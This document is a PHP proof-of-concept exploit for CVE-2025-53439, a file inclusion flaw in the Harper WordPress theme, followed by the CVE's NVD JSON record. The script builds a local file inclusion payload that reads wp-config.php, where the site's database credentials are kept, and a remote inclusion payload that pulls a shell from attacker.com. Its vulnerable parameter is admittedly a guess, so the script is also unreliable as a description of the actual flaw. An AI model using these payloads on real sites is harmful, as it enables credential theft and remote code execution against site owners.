CVE-2025-53439

<?php /** * CVE-2025-53439 PoC - Harper Theme LFI/RFI * Affected: Harper Theme <= 1.13 * Type: Local/Remote File Inclusion */ // Target configuration $target = 'http://target-site.com'; $target_path = '/wp-content/themes/harper/'; // Vulnerable parameter (example - adjust based on actual vulnerable endpoint) $vuln_param = 'template'; // PoC 1: Local File Inclusion - Read wp-config.php $lfi_payload = array( $vuln_param => '../../../../wp-config.php', ); echo "[*] CVE-2025-53439 PoC - Harper Theme File Inclusion\n"; echo "[*] Target: $target\n\n"; // LFI Attack echo "[+] Test 1: Local File Inclusion\n"; $url = $target . $target_path . '?' . http_build_query($lfi_payload); echo "[*] Request URL: $url\n"; // RFI Attack (requires allow_url_include=On) $rfi_payload = array( $vuln_param => 'http://attacker.com/shell.txt?', ); echo "\n[+] Test 2: Remote File Inclusion (if allow_url_include=On)\n"; $url_rfi = $target . $target_path . '?' . http_build_query($rfi_payload); echo "[*] Request URL: $url_rfi\n"; echo "\n[!] Note: Adjust vulnerable endpoint and parameter based on reconnaissance.\n"; echo "[!] For educational purposes only.\n"; ?>

{"cve": {"id": "CVE-2025-53439", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:54.380", "lastModified": "2026-01-20T15:16:57.043", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Harper harper allows PHP Local File Inclusion.This issue affects Harper: from n/a through <= 1.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:harper:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.13", "matchCriteriaId": "6109BDA2-8C1C-4ED5-96E0-E3E2166D5FD2"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/harper/vulnerability/wordpress-harper-theme-1-13-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}